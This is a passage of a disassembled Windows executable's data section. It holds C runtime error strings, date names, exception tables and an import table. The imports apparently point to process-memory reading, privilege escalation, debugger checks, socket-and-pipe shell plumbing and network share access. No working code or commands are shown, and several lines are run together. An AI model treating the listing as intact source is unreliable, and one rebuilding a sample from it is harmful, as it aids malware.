dbl_42F570	dq 0.0			; DATA XREF: sub_428B0A+6r
					; sub_42A22C+8Cr ...
aE000		db 'e+000',0            ; DATA XREF: sub_428BC1+57o
		align 10h
aPath_0		db 'PATH',0             ; DATA XREF: sub_428E88+49o
		align 4
a_exe		db '.exe',0             ; DATA XREF: .text:0044BB80o
		align 10h
a_bat		db '.bat',0             ; DATA XREF: .text:0044BB7Co
		align 4
a_cmd		db '.cmd',0             ; DATA XREF: .text:off_44BB78o
		align 10h
a__1		db '.\',0               ; DATA XREF: sub_428FED+51o
		align 8
dword_42F5A8	dd 0FFFFFFFFh, 4295E1h,	4295EBh, 0dword_42F5B8	dd 0FFFFFFFFh, 0		dd offset loc_429770
		align 8
		dd offset sub_42974E
		dd offset sub_429758
dword_42F5D0	dd 0FFFFFFFFh, 4299A6h,	4299AAh, 0dword_42F5E0	dd 0FFFFFFFFh, 429A08h,	429A11h, 0dword_42F5F0	dd 0FFFFFFFFh, 0		dd offset loc_429AE8
		align 10h
		dd offset loc_429AD4
		dd offset loc_429AD8
dword_42F608	dd 0FFFFFFFFh, 0		dd offset loc_429B3E
		align 8
		dd offset loc_429B2A
		dd offset loc_429B2E
dword_42F620	dd 2 dup(0)						; sub_42BADD+39o ...
dword_42F628	dd 0FFFFFFFFh, 429CB7h,	429CBBh, 0FFFFFFFFh, 429D6Bh, 429D6Fh
					; DATA XREF: sub_429BA7+5o
		dd 6E795Fh, 31795Fh, 30795Fh, 78657266h, 70h, 646F6D66h
		dd 0
a_hypot		db '_hypot',0
		align 4
a_cabs		db '_cabs',0
		align 4
aLdexp		db 'ldexp',0
		align 4
aModf		db 'modf',0
		align 4
aFabs		db 'fabs',0
		align 4
aFloor		db 'floor',0
		align 4
aCeil		db 'ceil',0
		align 4
aTan		db 'tan',0
aCos		db 'cos',0
aSin		db 'sin',0
aSqrt		db 'sqrt',0
		align 4
aAtan2		db 'atan2',0
		align 10h
aAtan		db 'atan',0
		align 4
aAcos		db 'acos',0
		align 10h
aAsin		db 'asin',0
		align 4
aTanh		db 'tanh',0
		align 10h
aCosh		db 'cosh',0
		align 4
aSinh		db 'sinh',0
		align 10h
aLog10		db 'log10',0
		align 4
aLog		db 'log',0
aPow		db 'pow',0
aExp		db 'exp',0              ; DATA XREF: .text:off_44BCA4o
aRuntimeError	db 'runtime error ',0
		align 4
aTlossError	db 'TLOSS error',0Dh,0Ah,0
		align 4
aSingError	db 'SING error',0Dh,0Ah,0
		align 4
aDomainError	db 'DOMAIN error',0Dh,0Ah,0
		align 4
aR6028UnableToI	db 'R6028',0Dh,0Ah
		db '- unable to initialize heap',0Dh,0Ah,0
		align 4
aR6027NotEnough	db 'R6027',0Dh,0Ah
		db '- not enough space for lowio initialization',0Dh,0Ah,0
		align 4
aR6026NotEnough	db 'R6026',0Dh,0Ah
		db '- not enough space for stdio initialization',0Dh,0Ah,0
		align 4
aR6025PureVirtu	db 'R6025',0Dh,0Ah
		db '- pure virtual function call',0Dh,0Ah,0
		align 4
aR6024NotEnough	db 'R6024',0Dh,0Ah
		db '- not enough space for _onexit/atexit table',0Dh,0Ah,0
		align 4
aR6019UnableToO	db 'R6019',0Dh,0Ah
		db '- unable to open console device',0Dh,0Ah,0
		align 4
aR6018Unexpecte	db 'R6018',0Dh,0Ah
		db '- unexpected heap error',0Dh,0Ah,0
		align 4
aR6017Unexpecte	db 'R6017',0Dh,0Ah
		db '- unexpected multithread lock error',0Dh,0Ah,0
		align 4
aR6016NotEnough	db 'R6016',0Dh,0Ah
		db '- not enough space for thread data',0Dh,0Ah,0
aAbnormalProgra	db 0Dh,0Ah
		db 'abnormal program termination',0Dh,0Ah,0
		align 4
aR6009NotEnough	db 'R6009',0Dh,0Ah
		db '- not enough space for environment',0Dh,0Ah,0
aR6008NotEnough	db 'R6008',0Dh,0Ah
		db '- not enough space for arguments',0Dh,0Ah,0
		align 4
aR6002FloatingP	db 'R6002',0Dh,0Ah      ; DATA XREF: .text:off_44BF3Co
		db '- floating point not loaded',0Dh,0Ah,0
		align 4
aMicrosoftVisua	db 'Microsoft Visual C++ Runtime Library',0 ; DATA XREF: sub_42B69E+119o
		align 4
asc_42F9A4	db 0Ah			; DATA XREF: sub_42B69E+F1o
		db 0Ah,0
		align 4
aRuntimeErrorPr	db 'Runtime Error!',0Ah ; DATA XREF: sub_42B69E+D3o
		db 0Ah
		db 'Program: ',0
		align 4
a___		db '...',0              ; DATA XREF: sub_42B69E+BFo
aProgramNameUnk	db '<program name unknown>',0 ; DATA XREF: sub_42B69E+7Do
		align 10h
dword_42F9E0	dd 0FFFFFFFFh, 42BBD6h,	42BBDAhaSunmontuewedth	db 'SunMonTueWedThuFriSat',0
		align 4
aJanfebmaraprma	db 'JanFebMarAprMayJunJulAugSepOctNovDec',0
		align 4
aTz		db 'TZ',0               ; DATA XREF: sub_42D078+2Ao
		align 10h
aGetlastactivep	db 'GetLastActivePopup',0 ; DATA XREF: sub_42D64E+3Do
		align 4
aGetactivewindo	db 'GetActiveWindow',0  ; DATA XREF: sub_42D64E+35o
aMessageboxa	db 'MessageBoxA',0      ; DATA XREF: sub_42D64E+24o
a1Qnan		db '1#QNAN',0           ; DATA XREF: sub_42E02D:loc_42E122o
		align 4
a1Inf		db '1#INF',0            ; DATA XREF: sub_42E02D+D8o
		align 10h
a1Ind		db '1#IND',0            ; DATA XREF: sub_42E02D+C7o
		align 4
a1Snan		db '1#SNAN',0           ; DATA XREF: sub_42E02D+ADo
		align 10h
dword_42FA80	dd 0FFFFFFFFh, 42E477h,	42E47Bh, 0FFFFFFFFh, 42E4E6h, 42E4EAh
					; DATA XREF: sub_42E2C0+5o
		dd 6D6D3A48h, 73733Ah, 64646464h, 4D4D202Ch, 64204D4Dh
		dd 79202C64h, 797979h, 2F642F4Dh, 7979h, 4D50h,	4D41h
		dd 65636544h, 7265626Dh, 0
aNovember	db 'November',0         ; DATA XREF: .text:0044C1C8o
		align 4
aOctober	db 'October',0          ; DATA XREF: .text:0044C1C4o
aSeptember	db 'September',0        ; DATA XREF: .text:0044C1C0o
		align 10h
aAugust		db 'August',0           ; DATA XREF: .text:0044C1BCo
		align 4
aJuly		db 'July',0             ; DATA XREF: .text:0044C1B8o
		align 10h
aJune		db 'June',0             ; DATA XREF: .text:0044C1B4o
		align 4
aApril		db 'April',0            ; DATA XREF: .text:0044C1ACo
		align 10h
aMarch		db 'March',0            ; DATA XREF: .text:0044C1A8o
		align 4
aFebruary	db 'February',0         ; DATA XREF: .text:0044C1A4o
		align 4
aJanuary	db 'January',0          ; DATA XREF: .text:0044C1A0o
off_42FB2C	dd offset dword_636544	; DATA XREF: .text:0044C19Co
dword_42FB30	dd 766F4Eh, 74634Fh, 706553h, 677541h, 6C754Ah,	6E754Ah
					; DATA XREF: .text:0044C198o
					; .text:0044C194o ...
		dd 79614Dh, 727041h, 72614Dh, 626546h, 6E614Ah,	75746153h
		dd 79616472h, 0
aFriday		db 'Friday',0           ; DATA XREF: .text:0044C168o
		align 10h
aThursday	db 'Thursday',0         ; DATA XREF: .text:0044C164o
		align 4
aWednesday	db 'Wednesday',0        ; DATA XREF: .text:0044C160o
		align 4
aTuesday	db 'Tuesday',0          ; DATA XREF: .text:0044C15Co
aMonday		db 'Monday',0           ; DATA XREF: .text:0044C158o
		align 4
aSunday		db 'Sunday',0           ; DATA XREF: .text:0044C154o
		align 10h
aSat		db 'Sat',0              ; DATA XREF: .text:0044C150o
aFri		db 'Fri',0              ; DATA XREF: .text:0044C14Co
aThu		db 'Thu',0              ; DATA XREF: .text:0044C148o
aWed		db 'Wed',0              ; DATA XREF: .text:0044C144o
aTue		db 'Tue',0              ; DATA XREF: .text:0044C140o
aMon		db 'Mon',0              ; DATA XREF: .text:0044C13Co
aSun		db 'Sun',0              ; DATA XREF: .text:off_44C138o
		align 10h
off_42FBC0	dd offset off_43873C	; DATA XREF: .text:0042FC10o
					; .text:0042FC44o ...
		dd 2 dup(0)
		dd 0FFFFFFFFh, 2 dup(0)
off_42FBD8	dd offset off_438754	; DATA XREF: .text:0042FC0Co
					; .text:0042FC40o ...
		dd 1, 0
		dd 0FFFFFFFFh, 2 dup(0)
off_42FBF0	dd offset off_449370	; DATA XREF: .text:0042FC08o
		dd 2, 0
		dd 0FFFFFFFFh, 2 dup(0)
		dd offset off_42FBF0
		dd offset off_42FBD8
		dd offset off_42FBC0
		dd 0
		db    0			; DATA XREF: .text:0042FC38o
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		dd 3, 42FC08h, 3 dup(0)
		dd offset off_449370
		dd offset unk_42FC18
		align 10h
		dd offset off_42FBD8
		dd offset off_42FBC0
dword_42FC48	dd 4 dup(0)			dd 2, 42FC40h
dword_42FC60	dd 3 dup(0)			dd offset off_438754
		dd offset dword_42FC48+8
		align 8
off_42FC78	dd offset off_438774	; DATA XREF: .text:0042FC90o
		dd 2, 0
		dd 0FFFFFFFFh, 2 dup(0)
		dd offset off_42FC78
		dd offset off_42FBD8
		dd offset off_42FBC0
dword_42FC9C	dd 3 dup(0)			dd 3, 42FC90h
dword_42FCB0	dd 3 dup(0)			dd offset off_438774
		dd offset dword_42FC9C+4
		align 8
off_42FCC8	dd offset off_4493A0	; DATA XREF: .text:0042FCE0o
		dd 2 dup(0)
		dd 0FFFFFFFFh, 2 dup(0)
		dd offset off_42FCC8
		dd 0
		db    0			; DATA XREF: .text:0042FD08o
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		dd 1, 42FCE0h
dword_42FCF8	dd 3 dup(0)			dd offset off_4493A0
		dd offset unk_42FCE8
		dd offset off_42FBC0
dword_42FD10	dd 4 dup(0)			dd 1, 42FD0Ch
dword_42FD28	dd 3 dup(0)			dd offset off_43873C
		dd offset dword_42FD10+8
		dd 0
off_42FD40	dd offset off_449400	; DATA XREF: .text:0042FD58o
		dd 2 dup(0)
		dd 0FFFFFFFFh, 2 dup(0)
		dd offset off_42FD40
dword_42FD5C	dd 3 dup(0)			dd 1, 42FD58h
dword_42FD70	dd 3 dup(0)			dd offset off_449400
		dd offset dword_42FD5C+4
		align 8
		dd 0FFFFFFFFh, 42EBF8h
dword_42FD90	dd 19930520h, 1, 42FD88h, 4 dup(0)		dd 0FFFFFFFFh, 42EC1Ch,	0
		dd offset loc_42EC0C
		dd 1, 42EC14h
dword_42FDC4	dd 19930520h, 3, 42FDACh, 4 dup(0)		dd 0FFFFFFFFh, 42EC40h
dword_42FDE8	dd 19930520h, 1, 42FDE0h, 4 dup(0)		dd 0FFFFFFFFh, 42EC54h,	0
		dd offset loc_42EC5C
		align 8
		dd offset loc_42EC64
		align 10h
		dd offset loc_42EC6C
		dd 3, 42EC74h, 4, 42EC7Ch, 0
		dd offset loc_42EC84
		dd 6, 42EC8Ch, 0
		dd offset loc_42EC94
		dd 8, 42EC9Ch, 9, 42ECA4h, 0
		dd offset loc_42ECAC
		dd 0Bh,	42ECB4h, 0Ch, 42ECBCh, 0
		dd offset loc_42ECC4
		dd 0Eh,	42ECCCh, 0
		dd offset loc_42ECD4
		align 10h
		dd offset loc_42ECDC
		dd 11h,	42ECE4h, 11h, 42ECECh
dword_42FEA4	dd 19930520h, 14h, 42FE04h, 4 dup(0)		dd 0FFFFFFFFh, 42ED00h,	0
		dd offset loc_42ED0B
		dd 1, 42ED13h, 2, 42ED1Bh, 3, 42ED26h, 4, 42ED31h, 5, 42ED3Ch
		dd 6, 42ED44h, 7, 42ED4Fh, 8, 42ED57h, 8, 42ED62h, 8, 42ED6Dh
		dd 7, 42ED78h, 0Ch, 42ED83h, 7,	42ED83h, 0Eh, 42ED8Eh
		dd 0Fh,	42ED99h, 0Eh, 42EDA4h, 11h, 42EDAFh, 0Eh, 42EDAFh
		dd 13h,	42EDBAh, 7, 42EDC5h, 15h, 42EDD0h, 7, 42EDD0h
		dd 17h,	42EDDBh, 18h, 42EDE6h, 17h, 42EDF1h, 1Ah, 42EDFCh
		dd 17h,	42EDFCh, 1Ch, 42EE07h, 7, 42EE12h, 1Eh,	42EE1Dh
		dd 7, 42EE1Dh, 20h, 42EE28h, 21h, 42EE33h, 20h,	42EE3Eh
		dd 23h,	42EE49h, 20h, 42EE49h, 25h, 42EE54h, 7,	42EE5Fh
		dd 27h,	42EE6Ah, 7, 42EE6Ah, 29h, 42EE75h, 2Ah,	42EE80h
		dd 29h,	42EE8Bh, 2Ch, 42EE96h, 29h, 42EE96h, 2Eh, 42EEA1h
dword_430040	dd 19930520h, 30h, 42FEC0h, 4 dup(0)dword_43005C	dd 0				dd offset off_43873C
		align 8
		dd 0FFFFFFFFh, 0
		dd 0Ch,	423B61h, 0
		dd offset off_438754
		dd 0
		dd 0FFFFFFFFh, 0
		dd 1Ch,	40F389h, 0
		dd offset off_438774
		align 10h
		dd 0FFFFFFFFh, 0
dword_4300A8	dd 1Ch,	40F728h, 3, 430094h, 430078h, 43005Chdword_4300C0	dd 0							; sub_40F632+12o ...
		dd offset sub_40F36E
		dd 0
		dd offset dword_4300A8+8
		dd 0FFFFFFFFh, 42EEB8h
dword_4300D8	dd 19930520h, 1, 4300D0h, 4 dup(0)		dd 0FFFFFFFFh, 42EECCh
dword_4300FC	dd 19930520h, 1, 4300F4h, 4 dup(0)dword_430118	dd 2, 430078h, 43005Chdword_430124	dd 0				dd offset sub_40F36E
		align 10h
		dd offset dword_430118
		dd 0FFFFFFFFh, 42EEE0h
dword_43013C	dd 19930520h, 1, 430134h, 4 dup(0)		dd 0FFFFFFFFh, 0
		dd 0FFFFFFFFh, 4 dup(0)
		dd offset loc_40F6AA
		align 10h
		dd 2 dup(1), 430168h
dword_43018C	dd 19930520h, 2, 430158h, 1, 430178h, 2	dup(0)
					; DATA XREF: .text:loc_42EEF4o
		dd 0FFFFFFFFh, 42EF00h,	0
		dd offset loc_42EF08
		dd 1, 42EF10h, 2, 42EF18h
dword_4301C8	dd 19930520h, 4, 4301A8h, 4 dup(0)		dd 0FFFFFFFFh, 42EF2Ch
dword_4301EC	dd 19930520h, 1, 4301E4h, 4 dup(0)		dd 0FFFFFFFFh, 42EF40h
dword_430210	dd 19930520h, 1, 430208h, 6 dup(0)		dd offset off_449370
		dd 0
		dd 0FFFFFFFFh, 0
		dd 1Ch,	421D53h, 0
dword_430250	dd 3, 430230h, 430078h,	43005Chdword_430260	dd 0							; sub_421D1A+12o
		dd offset sub_421CDD
		dd 0
		dd offset dword_430250
dword_430270	dd 19930520h, 1, 430290h, 5 dup(0)		dd 0FFFFFFFFh, 42EF54h
dword_430298	dd 19930520h, 1, 4302B8h, 5 dup(0)		dd 0FFFFFFFFh, 42EF68h
dword_4302C0	dd 19930520h, 1, 4302E0h, 5 dup(0)		dd 0FFFFFFFFh, 42EF7Ch,	0
		dd offset off_4493A0
		dd 0
		dd 0FFFFFFFFh, 0
		dd 10h,	421EE9h, 0
dword_430308	dd 1, 4302E8h	dword_430310	dd 0				dd offset sub_421F16
		dd 0
		dd offset dword_430308
		dd 30404h, 2 dup(0)
		dd 30BB8h, 2F030h, 30618h, 2 dup(0)
		dd 30C08h, 2F244h, 303D4h, 2 dup(0)
		dd 30CE4h, 2F000h, 30608h, 2 dup(0)
		dd 30D30h, 2F234h, 3063Ch, 2 dup(0)
		dd 30D4Ah, 2F268h, 305F8h, 2 dup(0)
		dd 30D6Ch, 2F224h, 30600h, 2 dup(0)
		dd 30D74h, 2F22Ch, 3062Ch, 2 dup(0)
		dd 30DC4h, 2F258h, 5 dup(0)
		dd 77DD7883h, 77DD6BF0h, 77DD761Bh, 77DDEBE7h, 77DD7753h
		dd 77DFD11Bh, 77DFC534h, 77DF08D5h, 77E215D9h, 77DF087Fh
		dd 77DFD4C9h, 0
		dd 7C80992Fh, 7C80B905h, 7C809B47h, 7C80B974h, 7C80DDF5h
		dd 7C812ADEh, 7C81CE03h, 7C80BE01h, 7C835DCAh, 7C80180Eh
		dd 7C810B8Eh, 7C810A77h, 7C801A24h, 7C802520h, 7C910331h
		dd 7C81CDDAh, 7C80BAA1h, 7C80B6A1h, 7C802367h, 7C810D87h
		dd 7C80D262h, 7C8024A7h, 7C831EABh, 7C812782h, 7C80E93Fh
		dd 7C8308ADh, 7C809BF8h, 7C8286EEh, 7C81153Ch, 7C80A0D4h
		dd 7C830D74h, 7C81AE17h, 7C85F90Fh, 7C80DDFEh, 7C81E0C7h
		dd 7C80ABDEh, 7C821363h, 7C8217ACh, 7C8214E3h, 7C83039Bh
		dd 7C82C2D3h, 7C834D41h, 7C810111h, 7C80BDB6h, 7C8021CCh
		dd 7C8309E1h, 7C8643B5h, 7C801E16h, 7C864230h, 7C864B0Fh
		dd 7C863F58h, 7C863DE5h, 7C8098EBh, 7C8310F2h, 7C83632Dh
		dd 7C8361EEh, 7C814EEAh, 7C80998Dh, 7C831CB8h, 7C831C45h
		dd 7C8216A4h, 7C813093h, 7C833478h, 7C80A35Eh, 7C80D077h
		dd 7C832044h, 7C801D77h, 7C80ADA0h, 7C901005h, 7C9010EDh
		dd 7C91188Ah, 7C80B829h, 7C80C058h, 7C80B4CFh, 7C810637h
		dd 7C802442h, 7C835D54h, 7C80929Ch, 7C80BCCFh, 7C809E01h
		dd 7C812641h, 7C81DC03h, 7C80A490h, 7C838A0Ch, 7C812F08h
		dd 7C81CF5Bh, 7C814AE7h, 7C81DF77h, 7C862E2Ah, 7C8127A7h
		dd 7C809915h, 7C812E76h, 7C80CCA8h, 7C838DE8h, 7C84467Dh
		dd 7C9109EDh, 7C809E79h, 7C9179FDh, 7C809A51h, 7C809AE4h
		dd 7C812BB6h, 7C810EF8h, 7C814AF2h, 7C809EF1h, 7C810E51h
		dd 7C812F39h, 7C80CC97h, 7C809740h, 7C910340h, 7C812D9Fh
		dd 7C809BC5h, 7C9105D4h, 7C91043Dh, 7C937A40h, 7C812A09h
		dd 7C80977Ah, 7C809766h, 7C8350BFh, 7C80176Bh, 7C80A7D4h
		dd 7C801EEEh, 7C812F1Dh, 7C8111DAh, 7C809728h, 0
		dd 71B2517Fh, 0
		dd 7712A63Fh, 0
		dd 7CAB8CB2h, 7CA23A4Bh, 7CA40EE0h, 0
		dd 7E41AE3Fh, 7E44F209h, 7E41A8ADh, 7E42E5C2h, 0
		dd 77C019FFh, 77C018BAh, 77C01A50h, 0
		dd 71AB3E00h, 71AB951Eh, 71AB88D3h, 71AB4FD4h, 71AB2B66h
		dd 71AB2BC0h, 71AB2DC0h, 71AC1028h, 71AB428Ah, 71AB615Ah
		dd 71AB664Dh, 71AB406Ah, 71AB9639h, 71AB3B91h, 71AB8769h
		dd 71AB2C69h, 71AB50C8h, 71AB2BF4h, 71AB4519h, 71AB3EA1h
		dd 71AB2B66h, 0
		db 0D5h	; 
		db 1, 47h, 65h
aTtickcount	db 'tTickCount',0
		align 4
		db  49h	; I
		db 3, 53h, 6Ch
		db  65h	; e
		db 65h,	70h, 0
		db  69h	; i
		align 2
aCreatethread	db 'CreateThread',0
		align 4
		db  75h	; u
		db 1, 47h, 65h
aTmodulefilenam	db 'tModuleFileNameA',0
		align 2
		db '',0
aExitthread	db 'ExitThread',0
		align 10h
		db  1Ah
		db 2, 49h, 6Eh
aItializecritic	db 'itializeCriticalSectionAndSpinCount',0
aZ_1		db 'z',0
aDeletecritical	db 'DeleteCriticalSection',0
		db  47h	; G
		db 2, 4Ch, 65h
aAvecriticalsec	db 'aveCriticalSection',0
		align 4
aP_0		db '',0
aEntercriticals	db 'EnterCriticalSection',0
		align 10h
		db  98h	; 
		db 1, 47h, 65h
aTprocaddress	db 'tProcAddress',0
		align 2
		dw 248h
aLoadlibrarya	db 'LoadLibraryA',0
		align 2
aQ		db '',0
aFreelibrary	db 'FreeLibrary',0
		db  52h	; R
		db 2, 4Ch, 6Fh
aCalfree	db 'calFree',0
		db  5Eh	; ^
		db 2, 4Dh, 61h
aPviewoffile	db 'pViewOfFile',0
a__2		db '.',0
aClosehandle	db 'CloseHandle',0
		dw 365h
aUnmapviewoffil	db 'UnmapViewOfFile',0
		db  3Ah	; :
		db 1, 47h, 65h
aTcurrentproces	db 'tCurrentProcess',0
		db 0DFh	; 
		db 1, 47h, 65h
aTversionexa	db 'tVersionExA',0
		db  52h	; R
		db 3, 54h, 65h
aRminatethread	db 'rminateThread',0
		dw 3B9h
aLstrcpya	db 'lstrcpyA',0
		align 2
		retf
; ---------------------------------------------------------------------------
		db 1
aGettemppatha	db 'GetTempPathA',0
		align 2
		dw 2ABh
aReadfile	db 'ReadFile',0
		align 2
		dw 310h
aSetfilepointer	db 'SetFilePointer',0
		align 4
		db  5Bh	; [
		db 1, 47h, 65h
aTfilesize	db 'tFileSize',0
aM		db 'M',0
aCreatefilea	db 'CreateFileA',0
		db  85h	; 
		db 3, 57h, 61h
aItforsingleobj	db 'itForSingleObject',0
		dw 169h
aGetlasterror	db 'GetLastError',0
		align 2
aP_1		db '',0
aExitprocess	db 'ExitProcess',0
		dd 736C03B6h, 6D637274h, 416970h, 65470177h, 646F4D74h
		dd 48656C75h, 6C646E61h, 4165h,	72430060h, 65746165h, 636F7250h
		dd 41737365h, 3970000h,	74697257h, 6C694665h, 16C0065h
		dd 4C746547h, 6C61636Fh, 666E4965h, 416Fh, 655202B8h, 7361656Ch
		dd 74754D65h, 7865h, 6544007Ch,	6574656Ch, 656C6946h, 30E0041h
aSetfileattribu	db 'SetFileAttributesA',0
		align 10h
aZ_2		db 'Z',0
aCreatemutexa	db 'CreateMutexA',0
		align 10h
aI		db 'I',0
aCreateeventa	db 'CreateEventA',0
		align 10h
		db  6Bh	; k
		db 2, 4Dh, 75h
aLtibytetowidec	db 'ltiByteToWideChar',0
		db '=',0
aCopyfilea	db 'CopyFileA',0
		dw 156h
aGetfileattribu	db 'GetFileAttributesA',0
		align 4
		db  89h	; 
		db 3, 57h, 69h
aDechartomultib	db 'deCharToMultiByte',0
		dw 3B3h
aLstrcmpa	db 'lstrcmpA',0
		align 2
		dw 152h
aGetexitcodepro	db 'GetExitCodeProcess',0
		align 10h
		db  87h	; 
		db 2, 50h, 65h
aEknamedpipe	db 'ekNamedPipe',0
aM_0		db '',0
aDuplicatehandl	db 'DuplicateHandle',0
a__3		db '_',0
aCreatepipe	db 'CreatePipe',0
		align 10h
		db  9Ch	; 
		db 3, 57h, 72h
aIteprivateprof	db 'itePrivateProfileStringA',0
		align 2
		dw 1E9h
aGetwindowsdire	db 'GetWindowsDirectoryA',0
		align 2
aE		db 'E',0
aCreatedirector	db 'CreateDirectoryA',0
		align 2
		dw 14Bh
aGetdrivetype_0	db 'GetDriveTypeA',0
		dw 146h
aGetdiskfrees_0	db 'GetDiskFreeSpaceExA',0
		db  6Eh	; n
		db 1, 47h, 65h
aTlogicaldrives	db 'tLogicalDriveStringsA',0
		dw 3B0h
aLstrcata	db 'lstrcatA',0
		align 2
		dw 3BCh
aLstrcpyna	db 'lstrcpynA',0
		dw 3BFh
aLstrlena	db 'lstrlenA',0
		align 2
		dw 2AEh
aReadprocessmem	db 'ReadProcessMemory',0
		dw 27Ch
aOpenprocess	db 'OpenProcess',0
		db  62h	; b
		db 2, 4Dh, 6Fh
aDule32next	db 'dule32Next',0
		align 10h
		db  51h	; Q
		db 3, 54h, 65h
aRminateprocess	db 'rminateProcess',0
		align 4
		db  60h	; `
		db 2, 4Dh, 6Fh
aDule32first	db 'dule32First',0
		db 'l',0
aCreatetoolhe_0	db 'CreateToolhelp32Snapshot',0
		align 10h
		dd 7250028Eh, 7365636Fh, 4E323373h, 747865h, 7250028Ch
		dd 7365636Fh, 46323373h, 74737269h, 13D0000h, 43746547h
		dd 65727275h, 6854746Eh, 64616572h, 1FA0000h
aGlobalmemoryst	db 'GlobalMemoryStatus',0
		align 4
		db 0D6h	; 
		db 1, 47h, 65h
aTtimeformata	db 'tTimeFormatA',0
		align 2
		dw 13Fh
aGetdateformata	db 'GetDateFormatA',0
		align 10h
		db 0B9h	; 
		db 1, 47h, 65h
aTsystemdirecto	db 'tSystemDirectoryA',0
		dw 24Eh
aLocalalloc	db 'LocalAlloc',0
		align 4
		db  14h
		db 3, 53h, 65h
aTfiletime	db 'tFileTime',0
		dw 15Dh
aGetfiletime	db 'GetFileTime',0
		db  0Ch
		db 1, 47h, 65h
aTcomputernamea	db 'tComputerNameA',0
		align 4
		db  2Fh	; /
		db 2, 49h, 73h
aDebuggerpresen	db 'DebuggerPresent',0
aKernel32_dll_0	db 'KERNEL32.dll',0
		align 2
a5_0		db '5',0
aCharupperbuffa	db 'CharUpperBuffA',0
		align 4
		db  97h	; 
		db 1, 49h, 73h
aCharalphanumer	db 'CharAlphaNumericA',0
		dw 2D5h
aWsprintfa	db 'wsprintfA',0
		db '&',0
aCharlowera	db 'CharLowerA',0
		align 4
aUser32_dll_0	db 'USER32.dll',0
		align 4
		db  34h	; 4
		db 2, 53h, 65h
aTsecurityinfo	db 'tSecurityInfo',0
		dw 21Fh
aSetentriesinac	db 'SetEntriesInAclA',0
		align 2
		dw 10Eh
aGetsecurityinf	db 'GetSecurityInfo',0
		db  1Ch
		align 2
aAdjusttokenp_0	db 'AdjustTokenPrivileges',0
		db  4Dh	; M
		db 1, 4Ch, 6Fh
aOkupprivilegev	db 'okupPrivilegeValueA',0
		dd 704F01AAh, 72506E65h, 7365636Fh, 6B6F5473h, 6E65h, 655201F9h
		dd 74655367h, 756C6156h, 41784565h, 1E20000h, 4F676552h
		dd 4B6E6570h, 78457965h, 1C90041h, 43676552h, 65736F6Ch
		dd 79654Bh, 655201ECh, 65755167h, 61567972h, 4565756Ch
		dd 4178h, 65470123h, 65735574h,	6D614E72h, 4165h, 41564441h
		dd 32334950h, 6C6C642Eh, 1070000h, 6C656853h, 6578456Ch
		dd 65747563h, 0C40041h
aShgetspecialfo	db 'SHGetSpecialFolderPathA',0
aP_2		db '',0
aShgetfolderpat	db 'SHGetFolderPathA',0
		align 10h
aShell32_dll_0	db 'SHELL32.dll',0
aA		db 'A',0
aWsasocketa_0	db 'WSASocketA',0
		align 2
aWs2_32_dll_0	db 'WS2_32.dll',0
		align 2
		dw 6
aWnetaddconne_1	db 'WNetAddConnection2A',0
aMpr_dll_0	db 'MPR.dll',0
aOleaut32_dll	db 'OLEAUT32.dll',0
		align 2
		db 0Ah,0
aVerqueryvaluea	db 'VerQueryValueA',0
		align 4
		db    0
		align 2
aGetfileversion	db 'GetFileVersionInfoA',0
		dw 1
aGetfileversi_0	db 'GetFileVersionInfoSizeA',0
aVersion_dll	db 'VERSION.dll',0
		dd 65480206h, 6C417061h, 636F6Ch, 6548020Ch, 72467061h
		dd 6565h, 745202CCh, 776E556Ch,	646E69h, 6152029Dh, 45657369h
		dd 70656378h, 6E6F6974h, 21E0000h
aInterlockeddec	db 'InterlockedDecrement',0
		align 2
		dw 222h
aInterlockedinc	db 'InterlockedIncrement',0
		align 2
		dw 1D8h
aGettimezoneinf	db 'GetTimeZoneInformation',0
		align 10h
		dd 654701BEh, 73795374h, 546D6574h, 656D69h, 6547016Bh
		dd 636F4C74h, 69546C61h, 656Dh,	654701AFh, 61745374h, 70757472h
		dd 6F666E49h, 1080041h,	43746547h, 616D6D6Fh, 694C646Eh
		dd 41656Eh, 654701DEh, 72655674h, 6E6F6973h, 13E0000h
aGetcurrentthre	db 'GetCurrentThreadId',0
		align 4
		db  59h	; Y
		db 3, 54h, 6Ch
aSsetvalue	db 'sSetValue',0
		dw 356h
aTlsalloc	db 'TlsAlloc',0
		align 2
		dw 31Dh
aSetlasterror	db 'SetLastError',0
		align 2
		dw 358h
aTlsgetvalue	db 'TlsGetValue',0
		db  19h
		db 3, 53h, 65h
aThandlecount	db 'tHandleCount',0
		align 2
		dw 1B1h
aGetstdhandle	db 'GetStdHandle',0
		align 2
		dw 15Eh
aGetfiletype	db 'GetFileType',0
		db  19h
		db 2, 49h, 6Eh
aItializecrit_0	db 'itializeCriticalSection',0
		db  50h	; P
		db 1, 47h, 65h
aTenvironmentva	db 'tEnvironmentVariableA',0
		dw 20Ah
aHeapdestroy	db 'HeapDestroy',0
		dd 65480208h, 72437061h, 65746165h, 3780000h, 74726956h
		dd 466C6175h, 656572h, 69560375h, 61757472h, 6C6C416Ch
		dd 636Fh, 65480210h, 65527061h,	6F6C6C41h, 22C0063h, 61427349h
		dd 69725764h, 74506574h, 2120072h, 70616548h, 657A6953h
		dd 33D0000h
aSetunhandledex	db 'SetUnhandledExceptionFilter',0
		dd 434C023Ah, 5370614Dh, 6E697274h, 4167h, 434C023Bh, 5370614Dh
		dd 6E697274h, 5767h, 654700FCh,	49504374h, 6F666Eh, 654700F5h
		dd 50434174h, 18B0000h,	4F746547h, 50434D45h, 3620000h
aUnhandledexcep	db 'UnhandledExceptionFilter',0
		align 2
aA_0		db '',0
aFreeenvironmen	db 'FreeEnvironmentStringsA',0
aU		db '',0
aFreeenvironm_0	db 'FreeEnvironmentStringsW',0
		dw 14Dh
aGetenvironment	db 'GetEnvironmentStrings',0
		dw 14Fh
aGetenvironme_0	db 'GetEnvironmentStringsW',0
		align 4
		db 0B2h	; 
		db 1, 47h, 65h
aTstringtypea	db 'tStringTypeA',0
		align 2
		dw 1B5h
aGetstringtypew	db 'GetStringTypeW',0
		align 10h
		db  2Ch	; ,
		db 3, 53h, 65h
aTstdhandle	db 'tStdHandle',0
		align 10h
		db '',0
aFlushfilebuffe	db 'FlushFileBuffers',0
		align 4
		db  29h	; )
		db 2, 49h, 73h
aBadreadptr	db 'BadReadPtr',0
		align 4
		db  26h	; &
		db 2, 49h, 73h
aBadcodeptr	db 'BadCodePtr',0
		align 4
		db    5
		db 3, 53h, 65h
aTendoffile	db 'tEndOfFile',0
		align 4
a4_0		db '4',0
aComparestringa	db 'CompareStringA',0
		align 2
a5_1		db '5',0
aComparestringw	db 'CompareStringW',0
		align 4
